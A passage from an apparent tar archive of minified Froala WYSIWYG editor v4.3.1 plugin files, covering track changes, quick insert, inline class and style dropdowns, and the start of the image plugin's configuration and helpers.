e===t}).length&&"paragraphFormat"!==t&&"paragraphStyle"!==t&&"lineHeight"!==t)E(t);else if("paragraphFormat"===t||"paragraphStyle"===t||"lineHeight"===t){M.selection.save();for(var a=M.$el.find('.fr-marker[data-type="true"]').length&&M.$el.find('.fr-marker[data-type="true"]').get(0),n=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",r="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),i=_('<span data-tracking="true" data-track-id="'.concat(r,'" ').concat(n,"></span>")),s=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false" style="display:none"></span>'),l=a.parentNode.cloneNode(!0),o=l.childNodes,c=0;c<o.length;)o[c].className&&"fr-marker"===o[c].className?o[c].remove():c++;_(s).append(l),_(i).append(s),_(a.parentNode).after(_("<p></p>")),_(a.parentNode.nextSibling).append(i),i=_('<span data-tracking="true" data-track-id="'.concat(r,'" ').concat(n,"></span>")),_(a.parentNode.nextSibling).after(_("<p></p>")),_(a.parentNode.nextSibling.nextSibling).append(i),i.append(a.parentNode),M.track_changes.pushChange(r),M.selection.restore()}}else{if(U.COMMANDS[t]&&(U.COMMANDS[t].hasOwnProperty("type")&&"dropdown"===U.COMMANDS[t].type||U.COMMANDS[t].more_btn||U.COMMANDS[t].popup)){if("insertImage"!=t&&"insertFile"!=t)return}else if("clearFormatting"===t){if(M.opts.trackChangesEnabled){S=M.selection.blocks();for(var d=[],g=0,h=0;h<S.length;h++){g=h<g?g:h;var f=_(S[h]);if(f.is("li"))f.siblings("li").each(function(e,t){_(t).find("li").length&&(d.push({index:g,item:t}),g+=1)});C[h]=_("<span>".concat(f.get(0).innerHTML,"</span>"))}for(var p=0,u=d;p<u.length;p++){var k=u[p],m=k.index,b=k.item,v=_(_(b).get(0).outerHTML);v.find("ul").remove(),v.find("ol").remove(),C=[].concat(F(C.slice(0,m+1)),[_("<span>".concat(v.get(0).innerHTML,"</span>"))],F(C.slice(m+1))),S=[].concat(F(S.slice(0,m+1)),[b],F(S.slice(m+1)))}}return}N()}},!0),M.events.on("commands.after",function(e){if(!M.opts.trackChangesEnabled)return!0;if(0<=["undo","redo"].indexOf(e))!function r(){var e=M.$el.find("[data-tracking=true]");l.splice(0,l.length);for(var t=0;t<e.length;t++){var a=_(e.get(t)).data("track-id");l[a.slice(a.lastIndexOf("-")+1)]=a}}();else if("clearFormatting"==e&&M.opts.trackChangesEnabled){var t="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length);for(var a in S){var n=_(S[a]);C[a]&&(c(n,C[a],t),C[a]=null,i[a]=null)}M.track_changes.pushChange(t),C=[],S=null}},!0),M.events.on("quickInsert.commands.before",function(e){M.opts.trackChangesEnabled&&N(e)}),{toggleTracking:function n(){M.opts.trackChangesEnabled&&-1<M.html.get(!0,!0).indexOf("data-tracking")||M.opts.trackChangesEnabled&&0<M.$el.find("[data-tracking=true]").length?alert("Your editor has pending changes. Please resolve them before turning off Track Changes in the toolbar."):(M.commands.moreTrackChanges(),M.opts.trackChangesEnabled=!M.opts.trackChangesEnabled,M.opts.trackChangesEnabled||(M.opts.showChangesEnabled=!1))},pushChange:function h(e){l.push(e)},insertChangeAt:function p(e,t){l=[].concat(F(l.slice(0,e)),[t],F(l.slice(e)))},popChange:o,getPendingChanges:function u(){return l},showChanges:function k(){if(M.opts.showChangesEnabled=!M.opts.showChangesEnabled,function r(e,t){for(var a=0;a<e.length;a++)t?(_(e.get(a)).removeClass("fr-track-hide"),_(e.get(a)).removeClass("fr-track-hide-mobile")):M.helpers.isMobile()?_(e.get(a)).addClass("fr-track-hide-mobile"):_(e.get(a)).addClass("fr-track-hide")}(M.$el.find(".fr-tracking-deleted"),M.opts.showChangesEnabled),M.opts.showChangesEnabled)for(var e=M.$el.find("[data-tracking=true]").not(".fr-highlight-change"),t=0;t<e.length;t++)_(e.get(t)).addClass("fr-highlight-change");else for(var a=M.$el.find(".fr-highlight-change"),n=0;n<a.length;n++)_(a.get(n)).removeClass("fr-highlight-change")},acceptAllChanges:function m(){for(;0!=M.track_changes.getPendingChanges().length;)t();l=[],e(),M.$el.find("li").each(function(){!_(this).children()[0]||"OL"!==_(this).children()[0].tagName&&"UL"!==_(this).children()[0].tagName||e()})},rejectAllChanges:function b(){for(;0!=M.track_changes.getPendingChanges().length;)a();l=[]},acceptSingleChange:t,rejectSingleChange:a,refresh:function v(e){var t,a,n=M.$el.find("[data-tracking=true]");e.toggleClass("fr-disabled",!l.length),e.toggleClass("fr-active",l.length).attr("aria-pressed",l.length),0<!n.length&&(e.removeClass("fr-active"),e.addClass("fr-disabled"));var r=null===(t=M.$tb)||void 0===t?void 0:t.find('.fr-command[data-cmd="markdown"]');r&&M.opts.trackChangesEnabled?r.addClass("fr-disabled"):r&&!_(".fr-active.fr-popup").length&&r.removeClass("fr-disabled");var i=null===(a=M.$tb)||void 0===a?void 0:a.find('.fr-command[data-cmd="showChanges"]');i&&M.opts.trackChangesEnabled&&i.removeClass("fr-disabled")},replaceSpecialItem:function y(e){M.selection.setBefore(e.get(0)),M.selection.setAfter(e.get(0)),f(M.$el.find('.fr-marker[data-type="true"]').length&&M.$el.find('.fr-marker[data-type="true"]').get(0),M.$el.find('.fr-marker[data-type="false"]').length&&M.$el.find('.fr-marker[data-type="false"]').get(0))},removeSpecialItem:function x(e){M.selection.setBefore(e.get(0)),M.selection.setAfter(e.get(0)),$(M.$el.find('.fr-marker[data-type="true"]').length&&M.$el.find('.fr-marker[data-type="true"]').get(0),M.$el.find('.fr-marker[data-type="false"]').length&&M.$el.find('.fr-marker[data-type="false"]').get(0))},removedTable:function A(e){var t=!1;if(e.find("[data-tracking=true]").each(function(){0<this.innerText.replace(/\u200B/g,"").length&&(t=!0)}),t)alert("Your table has pending changes. Please resolve them before remove table.");else{var r="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),i=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",a=_('<span data-tracking="true" data-track-id="'.concat(r,'" ').concat(i,"></span>")),n=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');e.before(a),e.find("tr").find("> td").each(function(){var e=_('<span data-tracking="true" data-track-id="'.concat(r,'" ').concat(i,"></span>")),t=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>'),a=_(this),n=a[0].innerText;_(t)[0].innerText=n,a[0].innerText="",e.prepend(t),a.prepend(e)}),n.append(e),a.append(n),M.track_changes.pushChange(r)}},addQuote:function O(e){var t="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),a=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",n=_('<div data-tracking="true" data-track-id="'.concat(t,'" ').concat(a,"></div>")),r=_('<div data-tracking="true" data-track-id="'.concat(t,'" ').concat(a,"></div>")),i=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');M.opts.showChangesEnabled||i.addClass("fr-track-hide"),e.before(r),e.before(n);var s=e.get(0).innerHTML;i.append(s),n.append(i),r.append(e),r.find('[data-tracking="true"]').each(function(e,t){_(t).children().eq(0).insertBefore(_(t)),_(t).remove()}),M.track_changes.pushChange(t)},removeQuote:function D(e,t){if(!(0<t)){var a="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),n=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=_('<div data-tracking="true" data-track-id="'.concat(a,'" ').concat(n,"></div>")),i=_('<div data-tracking="true" data-track-id="'.concat(a,'" ').concat(n,"></div>")),s=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');M.opts.showChangesEnabled||s.addClass("fr-track-hide"),e.before(i),e.before(r);var l=e.find("blockQuote").eq(0).html();l||(l=e.html()),s.append(e),r.append(s),i.append(l),i.find('[data-tracking="true"]').each(function(e,t){_(t).children().eq(0).insertBefore(_(t)),_(t).remove()}),M.track_changes.pushChange(a)}},wrapInTracking:function V(e,t){var a="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),n=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=_('<span data-tracking="true" data-track-id="'.concat(a,'" ').concat(n,"></span>"));t&&r.addClass(t);var i=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');return M.opts.showChangesEnabled||i.addClass("fr-track-hide"),e.before(r),r.append(e),M.track_changes.pushChange(a),r},wrapInDelete:function B(e){var t=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');return M.opts.showChangesEnabled||(M.helpers.isMobile()?t.addClass("fr-track-hide-mobile"):t.addClass("fr-track-hide")),t.append(e),t},wrapLinkInTracking:function H(e,t){var a="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),n=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=_('<span data-tracking="true" data-track-id="'.concat(a,'" ').concat(n,"></span>"));return e.before(r),r.append(e),M.track_changes.insertChangeAt(t-1,a),r},pasteInEmptyEdior:function K(e){var t=M.$el.find(".fr-highlight-change");_(t)[0].style.display="block",_(t)[0].innerHTML=e},pasteInEdior:function G(e){var t=M.$el.find(".fr-marker");_(t)[0].outerHTML=e,M.markers.remove()}}},U.DefineIcon("trackChanges",{NAME:"enable-tracking",SVG_KEY:"trackChanges"}),U.DefineIcon("showChanges",{NAME:"show-changes",SVG_KEY:"showTrackChanges"}),U.DefineIcon("applyAll",{NAME:"apply-all",SVG_KEY:"acceptAllChanges"}),U.DefineIcon("removeAll",{NAME:"remove-all",SVG_KEY:"rejectAllChanges"}),U.DefineIcon("applyLast",{NAME:"apply-last",SVG_KEY:"acceptSingleChange"}),U.DefineIcon("removeLast",{NAME:"remove-last",SVG_KEY:"rejectSingleChange"}),U.RegisterCommand("trackChanges",{type:"button",title:"Enable Track Changes",plugin:"track_changes",showOnMobile:!0,callback:function(){this.track_changes.toggleTracking()},refreshAfterCallback:!0,forcedRefresh:!0,refresh:function(e){if(e&&this.$tb){var t=this.$tb.find('.fr-more-toolbar[data-name="'.concat(e.attr("id"),'"]')),a=0!==t.length&&t.hasClass("fr-expanded");(this.opts.trackChangesEnabled&&this.opts.toolbarContainer&&!a||!this.opts.trackChangesEnabled&&this.opts.toolbarContainer&&a)&&(this.$tb.find('.fr-more-toolbar[data-name="'.concat(e.attr("id"),'"]')).toggleClass("fr-expanded"),this.$box.toggleClass("fr-toolbar-open"),this.$tb.toggleClass("fr-toolbar-open"),e.toggleClass("fr-open")),e.toggleClass("fr-active",this.opts.trackChangesEnabled).attr("aria-pressed",this.opts.trackChangesEnabled)}}}),U.RegisterCommand("showChanges",{type:"button",icon:"showChanges",title:"Show Changes",plugin:"track_changes",undo:!1,focus:!1,accessibilityFocus:!0,forcedRefresh:!0,refreshAfterCallback:!0,toggle:!0,callback:function(){this.track_changes.showChanges()},refresh:function(e){e.toggleClass("fr-active",this.opts.showChangesEnabled).attr("aria-pressed",this.opts.showChangesEnabled)}}),U.RegisterCommand("applyAll",{type:"button",icon:"applyAll",title:"Accept All Changes",plugin:"track_changes",toggle:!0,refreshAfterCallback:!0,forcedRefresh:!0,callback:function(){0<this.track_changes.getPendingChanges().length&&this.track_changes.acceptAllChanges()},refresh:function(e){this.opts.trackChangesEnabled&&this.track_changes.refresh(e)}}),U.RegisterCommand("removeAll",{type:"button",icon:"removeAll",title:"Reject All Changes",plugin:"track_changes",toggle:!0,refreshAfterCallback:!0,forcedRefresh:!0,callback:function(){0<this.track_changes.getPendingChanges().length&&this.track_changes.rejectAllChanges()},refresh:function(e){this.opts.trackChangesEnabled&&this.track_changes.refresh(e)}}),U.RegisterCommand("applyLast",{type:"button",icon:"applyLast",title:"Accept Single Change",plugin:"track_changes",toggle:!0,refreshAfterCallback:!0,forcedRefresh:!0,callback:function(){0<this.track_changes.getPendingChanges().length&&this.track_changes.acceptSingleChange()},refresh:function(e){this.opts.trackChangesEnabled&&this.track_changes.refresh(e)}}),U.RegisterCommand("removeLast",{type:"button",icon:"removeLast",title:"Reject Single Change",plugin:"track_changes",toggle:!0,refreshAfterCallback:!0,forcedRefresh:!0,callback:function(){0<this.track_changes.getPendingChanges().length&&this.track_changes.rejectSingleChange()},refresh:function(e){this.opts.trackChangesEnabled&&this.track_changes.refresh(e)}})}); plugins/quick_insert.min.js 0000674 00000016476 00000000000 0012027 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(h){"use strict";h=h&&h.hasOwnProperty("default")?h["default"]:h,Object.assign(h.DEFAULTS,{quickInsertButtons:["image","video","embedly","table","ul","ol","hr"],quickInsertTags:["p","div","h1","h2","h3","h4","h5","h6","pre","blockquote"],quickInsertEnabled:!0}),h.QUICK_INSERT_BUTTONS={},h.DefineIcon("quickInsert",{SVG_KEY:"add",template:"svg"}),h.RegisterQuickInsertButton=function(e,t){h.QUICK_INSERT_BUTTONS[e]=Object.assign({undo:!0},t)},h.RegisterQuickInsertButton("image",{icon:"insertImage",requiredPlugin:"image",title:"Insert Image",undo:!1,callback:function(){var e=this,t=e.$;e.shared.$qi_image_input||(e.shared.$qi_image_input=t(document.createElement("input")).attr("accept","image/"+e.opts.imageAllowedTypes.join(", image/").toLowerCase()).attr("name","quickInsertImage".concat(this.id)).attr("style","display: none;").attr("type","file"),t("body").first().append(e.shared.$qi_image_input),e.events.$on(e.shared.$qi_image_input,"change",function(){var e=t(this).data("inst");this.files&&(e.quickInsert.hide(),e.image.upload(this.files)),t(this).val("")},!0)),e.$qi_image_input=e.shared.$qi_image_input,e.helpers.isMobile()&&e.selection.save(),e.events.disableBlur(),e.$qi_image_input.data("inst",e)[0].click()}}),h.RegisterQuickInsertButton("video",{icon:"insertVideo",requiredPlugin:"video",title:"Insert Video",undo:!1,callback:function(){var e=prompt(this.language.translate("Paste the URL of the video you want to insert."));e&&this.video.insertByURL(e)}}),h.RegisterQuickInsertButton("embedly",{icon:"embedly",requiredPlugin:"embedly",title:"Embed URL",undo:!1,callback:function(){var e=prompt(this.language.translate("Paste the URL of any web content you want to insert."));e&&this.embedly.add(e)}}),h.RegisterQuickInsertButton("table",{icon:"insertTable",requiredPlugin:"table",title:"Insert Table",callback:function(){this.table.insert(2,2)}}),h.RegisterQuickInsertButton("ol",{icon:"formatOL",requiredPlugin:"lists",title:"Ordered List",callback:function(){this.lists.format("OL")}}),h.RegisterQuickInsertButton("ul",{icon:"formatUL",requiredPlugin:"lists",title:"Unordered List",callback:function(){this.lists.format("UL")}}),h.RegisterQuickInsertButton("hr",{icon:"insertHR",title:"Insert Horizontal Line",callback:function(){this.commands.insertHR()}}),h.PLUGINS.quickInsert=function(r){var a,l,c=r.$,u=!1;function n(e){var t,n,i;(t=e.offset().top-r.$box.offset().top,n=(r.$iframe&&r.$iframe.offset().left||0)+e.offset().left-e.position().left-4<a.outerWidth()?e.offset().left+a.outerWidth():0-a.outerWidth(),r.opts.enter!=h.ENTER_BR)?i=(a.outerHeight()-e.outerHeight())/2:(c(document.createElement("span")).html(h.INVISIBLE_SPACE).insertAfter(e),i=(a.outerHeight()-e.next().outerHeight())/2,e.next().remove());if(r.opts.iframe){var s=r.helpers.getPX(r.$wp.find(".fr-iframe").css("padding-top"));t+=r.$iframe.offset().top+s}a.hasClass("fr-on")&&0<=t&&l.css("top",t-i),0<=t&&t-Math.abs(i)<=r.$box.outerHeight()-e.outerHeight()?(a.hasClass("fr-hidden")&&(a.hasClass("fr-on")&&d(),a.removeClass("fr-hidden")),a.css("top",t-i)):a.hasClass("fr-visible")&&!r.opts.toolbarInline&&(a.addClass("fr-hidden"),f()),a.css("left",n)}function s(e){r.markdown&&r.markdown.isEnabled()||(a||function t(){r.shared.$quick_insert||(r.shared.$quick_insert=c(document.createElement("div")).attr("class","fr-quick-insert").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(r.language.translate("Quick Insert"),'">').concat(r.icon.create("quickInsert"),"</a>")));a=r.shared.$quick_insert,r.tooltip.bind(r.$box,".fr-quick-insert > a.fr-floating-btn"),r.events.on("destroy",function(){c("body").first().append(a.removeClass("fr-on")),l&&(f(),c("body").first().append(l.css("left",-9999).css("top",-9999)))},!0),r.events.on("shared.destroy",function(){a.html("").removeData().remove(),a=null,l&&(l.html("").removeData().remove(),l=null)},!0),r.events.on("commands.before",o),r.events.on("commands.after",function(){r.popups.areVisible()||i()}),r.events.bindClick(r.$box,".fr-quick-insert > a",d),r.events.bindClick(r.$box,".fr-qi-helper > a.fr-btn",function(e){var t=c(e.currentTarget).data("cmd");if(!1===r.events.trigger("quickInsert.commands.before",[t]))return!1;h.QUICK_INSERT_BUTTONS[t].callback.apply(r,[e.currentTarget]),h.QUICK_INSERT_BUTTONS[t].undo&&r.undo.saveStep(),r.events.trigger("quickInsert.commands.after",[t]),r.quickInsert.hide()}),r.events.$on(r.$wp,"scroll",p),r.events.$on(r.$tb,"transitionend",".fr-more-toolbar",p)}(),a.hasClass("fr-on")&&f(),r.$box.append(a),n(e),a.data("tag",e),a.addClass("fr-visible"))}function i(){if(r.core.hasFocus()){var e=r.selection.element();if(r.opts.enter==h.ENTER_BR||r.node.isBlock(e)||(e=r.node.blockParent(e)),r.opts.enter==h.ENTER_BR&&!r.node.isBlock(e)){var t=r.node.deepestParent(e);t&&(e=t)}var n=function n(){return r.opts.enter!=h.ENTER_BR&&r.node.isEmpty(e)&&0<=r.opts.quickInsertTags.indexOf(e.tagName.toLowerCase())},i=function i(){return r.opts.enter==h.ENTER_BR&&("BR"==e.tagName&&(!e.previousSibling||"BR"==e.previousSibling.tagName||r.node.isBlock(e.previousSibling))||r.node.isEmpty(e)&&(!e.previousSibling||"BR"==e.previousSibling.tagName||r.node.isBlock(e.previousSibling))&&(!e.nextSibling||"BR"==e.nextSibling.tagName||r.node.isBlock(e.nextSibling)))};e&&(n()||i())?a&&a.data("tag").is(c(e))&&a.hasClass("fr-on")?f():r.selection.isCollapsed()&&s(c(e)):o()}}function o(){a&&!u&&(a.hasClass("fr-on")&&f(),a.removeClass("fr-visible fr-on"),a.css("left",-9999).css("top",-9999))}function d(e){if(e&&e.preventDefault(),a.hasClass("fr-on")&&!a.hasClass("fr-hidden"))f();else{if(!r.shared.$qi_helper){for(var t=r.opts.quickInsertButtons,n='<div class="fr-qi-helper">',i=0,s=0;s<t.length;s++){var o=h.QUICK_INSERT_BUTTONS[t[s]];o&&(!o.requiredPlugin||h.PLUGINS[o.requiredPlugin]&&0<=r.opts.pluginsEnabled.indexOf(o.requiredPlugin))&&(n+='<a class="fr-btn fr-floating-btn" role="button" title="'.concat(r.language.translate(o.title),'" tabIndex="-1" data-cmd="').concat(t[s],'" style="transition-delay: ').concat(.025*i++,'s;">').concat(r.icon.create(o.icon),"</a>"))}n+="</div>",r.shared.$qi_helper=c(n),r.tooltip.bind(r.shared.$qi_helper,"a.fr-btn"),r.events.$on(r.shared.$qi_helper,"mousedown",function(e){e.preventDefault()},!0)}l=r.shared.$qi_helper,r.$box.append(l),u=!0,setTimeout(function(){u=!1,l.css("top",parseFloat(a.css("top"))),l.css("left",parseFloat(a.css("left"))+a.outerWidth()),l.find("a").addClass("fr-size-1"),a.addClass("fr-on")},10)}}function f(){var t=r.$box.find(".fr-qi-helper");if(t.length){for(var n=t.find("a"),e=0;e<n.length;e++)!function(e){setTimeout(function(){t.children().eq(n.length-1-e).removeClass("fr-size-1")},25*e)}(e);setTimeout(function(){t.css("left",-9999),a&&!a.hasClass("fr-hidden")&&a.removeClass("fr-on")},25*e)}}function p(){a.hasClass("fr-visible")&&n(a.data("tag"))}return{_init:function e(){if(!r.$wp||!r.opts.quickInsertEnabled)return!1;r.popups.onShow("image.edit",o),r.events.on("mouseup",i),r.helpers.isMobile()&&r.events.$on(c(r.o_doc),"selectionchange",i),r.events.on("blur",o),r.events.on("keyup",i),r.events.on("keydown",function(){setTimeout(function(){i()},0)})},hide:o}}}); plugins/inline_class.min.js 0000674 00000002703 00000000000 0011756 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(n,a){"object"==typeof exports&&"undefined"!=typeof module?a(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],a):a(n.FroalaEditor)}(this,function(n){"use strict";n=n&&n.hasOwnProperty("default")?n["default"]:n,Object.assign(n.DEFAULTS,{inlineClasses:{"fr-class-code":"Code","fr-class-highlighted":"Highlighted","fr-class-transparency":"Transparent"}}),n.PLUGINS.inlineClass=function(e){var i=e.$;return{apply:function a(n){e.format.toggle("span",{"class":n})},refreshOnShow:function s(n,a){a.find(".fr-command").each(function(){var n=i(this).data("param1"),a=e.format.is("span",{"class":n});i(this).toggleClass("fr-active",a).attr("aria-selected",a)})}}},n.RegisterCommand("inlineClass",{type:"dropdown",title:"Inline Class",html:function(){var n='<ul class="fr-dropdown-list" role="presentation">',a=this.opts.inlineClasses;for(var e in a)a.hasOwnProperty(e)&&(n+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="inlineClass" data-param1="'.concat(e,'" title="').concat(a[e],'">').concat(a[e],"</a></li>"));return n+="</ul>"},callback:function(n,a){this.inlineClass.apply(a)},refreshOnShow:function(n,a){this.inlineClass.refreshOnShow(n,a)},plugin:"inlineClass"}),n.DefineIcon("inlineClass",{NAME:"tag",SVG_KEY:"inlineClass"})}); plugins/inline_style.min.js 0000674 00000002703 00000000000 0012011 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{inlineStyles:{"Big Red":"font-size: 20px; color: red;","Small Blue":"font-size: 14px; color: blue;"}}),e.PLUGINS.inlineStyle=function(i){return{apply:function a(e){for(var t=e.split(";"),n=0;n<t.length;n++){var l=t[n].split(":");t[n].length&&2==l.length&&i.format.applyStyle(l[0].trim(),l[1].trim())}}}},e.RegisterCommand("inlineStyle",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.inlineStyles;for(var n in t)if(t.hasOwnProperty(n)){var l=t[n]+(-1===t[n].indexOf("display:block;")?" display:block;":"");e+='<li role="presentation"><span style="'.concat(l,'" role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="inlineStyle" data-param1="').concat(t[n],'" title="').concat(this.language.translate(n),'">').concat(this.language.translate(n),"</a></span></li>")}return e+="</ul>"},title:"Inline Style",callback:function(e,t){this.inlineStyle.apply(t)},plugin:"inlineStyle"}),e.DefineIcon("inlineStyle",{NAME:"paint-brush",SVG_KEY:"inlineStyle"})}); plugins/image.min.js 0000674 00000156153 00000000000 0010406 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(Me){"use strict";function p(e,t){(null==t||t>e.length)&&(t=e.length);for(var a=0,i=Array(t);a<t;a++)i[a]=e[a];return i}function Ke(e,t){var a="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!a){if(Array.isArray(e)||(a=function l(e,t){if(e){if("string"==typeof e)return p(e,t);var a={}.toString.call(e).slice(8,-1);return"Object"===a&&e.constructor&&(a=e.constructor.name),"Map"===a||"Set"===a?Array.from(e):"Arguments"===a||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(a)?p(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){a&&(e=a);var i=0,r=function(){};return{s:r,n:function(){return i>=e.length?{done:!0}:{done:!1,value:e[i++]}},e:function(e){throw e},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var n,o=!0,s=!1;return{s:function(){a=a.call(e)},n:function(){var e=a.next();return o=e.done,e},e:function(e){s=!0,n=e},f:function(){try{o||null==a["return"]||a["return"]()}finally{if(s)throw n}}}}function Ye(e){return(Ye="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}Me=Me&&Me.hasOwnProperty("default")?Me["default"]:Me,Object.assign(Me.POPUP_TEMPLATES,{"image.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_BY_URL_LAYER_][_PROGRESS_BAR_]","image.edit":"[_BUTTONS_]","image.alt":"[_BUTTONS_][_ALT_LAYER_]","image.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(Me.DEFAULTS,{imageInsertButtons:["imageBack","|","imageUpload","imageByURL"],imageEditButtons:["imageReplace","imageAlign","imageCaption","imageRemove","imageLink","linkOpen","linkEdit","linkRemove","-","imageDisplay","imageStyle","imageAlt","imageSize"],imageAltButtons:["imageBack","|"],imageSizeButtons:["imageBack","|"],imageUpload:!0,imageUploadURL:null,imageCORSProxy:"https://cors-anywhere.froala.com",imageUploadRemoteUrls:!0,imageUploadParam:"file",imageUploadParams:{},imageUploadToS3:!1,imageUploadToAzure:!1,imageUploadMethod:"POST",imageMaxSize:10485760,imageAllowedTypes:["jpeg","jpg","png","gif","webp"],imageResize:!0,imageResizeWithPercent:!1,imageRoundPercent:!1,imageDefaultWidth:300,imageDefaultAlign:"center",imageDefaultDisplay:"block",imageSplitHTML:!1,imageStyles:{"fr-rounded":"Rounded","fr-bordered":"Bordered","fr-shadow":"Shadow"},imageMove:!0,imageMultipleStyles:!0,imageTextNear:!0,imagePaste:!0,imagePasteProcess:!1,imageMinWidth:16,imageOutputSize:!1,imageDefaultMargin:5,imageAddNewLine:!1}),Me.IMAGE_ALLOW_REGEX=/\.(gif|jpe?g|tiff?|png|webp|bmp)$/i,Me.PLUGINS.image=function(A){var C,p,f,g,s,a,S=A.$,E="https://i.froala.com/upload",t=!1,i=1,c=2,d=3,u=4,R=5,U=6,r={};function m(){var e=A.popups.get("image.insert").find(".fr-image-by-url-layer input");e.val(""),C&&e.val(C.attr("src")),e.trigger("change")}function o(e){return window.pageYOffset+e.get(0).getBoundingClientRect().top}function n(){var e=A.popups.get("image.edit");if(e||(e=N()),e){var t=C;A.popups.setContainer("image.edit",A.$sc),A.popups.refresh("image.edit");var a=t.offset().left+t.outerWidth()/2,i=t&&o(t),r=A.$wp&&o(A.$wp);r||(r=i);var n=0;A.opts.iframe?((n=A.$wp.scrollTop()+e.outerHeight())<t.get(0).getBoundingClientRect().top&&(n=t.get(0).getBoundingClientRect().top),n>t.get(0).getBoundingClientRect().top+t.height()&&(n=t.get(0).getBoundingClientRect().top+t.height())):n=r<i?i:A.$wp&&i+t.height()<r+A.$wp.height()?i+t.height():r+e.outerHeight(),C.hasClass("fr-uploading")?P():A.popups.show("image.edit",a,n,1,!0)}}function h(){k()}function l(e){0<e.parents(".fr-img-caption").length&&(e=e.parents(".fr-img-caption").first());var t=e.hasClass("fr-dib")?"block":e.hasClass("fr-dii")?"inline":null,a=e.hasClass("fr-fil")?"left":e.hasClass("fr-fir")?"right":ve(e);he(e,t,a),e.removeClass("fr-dib fr-dii fr-fir fr-fil")}function v(){for(var e,t="IMG"==A.el.tagName?[A.el]:A.el.querySelectorAll("img"),a=0;a<t.length;a++){var i=S(t[a]);!A.opts.htmlUntouched&&A.opts.useClasses?((A.opts.imageDefaultAlign||A.opts.imageDefaultDisplay)&&(0<(e=i).parents(".fr-img-caption").length&&(e=e.parents(".fr-img-caption").first()),e.hasClass("fr-dii")||e.hasClass("fr-dib")||(e.addClass("fr-fi".concat(ve(e)[0])),e.addClass("fr-di".concat(be(e)[0])),e.css("margin",""),e.css("float",""),e.css("display",""),e.css("z-index",""),e.css("position",""),e.css("overflow",""),e.css("vertical-align",""))),A.opts.imageTextNear||(0<i.parents(".fr-img-caption").length?i.parents(".fr-img-caption").first().removeClass("fr-dii").addClass("fr-dib"):i.removeClass("fr-dii").addClass("fr-dib"))):A.opts.htmlUntouched||A.opts.useClasses||(A.opts.imageDefaultAlign||A.opts.imageDefaultDisplay)&&l(i),A.opts.iframe&&i.on("load",A.size.syncIframe)}}function b(e){void 0===e&&(e=!0);var t,a=Array.prototype.slice.call(A.el.querySelectorAll("img")),i=[];for(t=0;t<a.length;t++)if(i.push(a[t].getAttribute("src")),S(a[t]).toggleClass("fr-draggable",A.opts.imageMove),""===a[t].getAttribute("class")&&a[t].removeAttribute("class"),""===a[t].getAttribute("style")&&a[t].removeAttribute("style"),a[t].parentNode&&a[t].parentNode.parentNode&&A.node.hasClass(a[t].parentNode.parentNode,"fr-img-caption")){var r=a[t].parentNode.parentNode;A.browser.mozilla||r.setAttribute("contenteditable",!1),r.setAttribute("draggable",!1),r.classList.add("fr-draggable");var n=a[t].nextSibling;n&&!A.browser.mozilla&&n.setAttribute("contenteditable",!0)}if(s)for(t=0;t<s.length;t++)i.indexOf(s[t].getAttribute("src"))<0&&A.events.trigger("image.removed",[S(s[t])]);if(s&&e){var 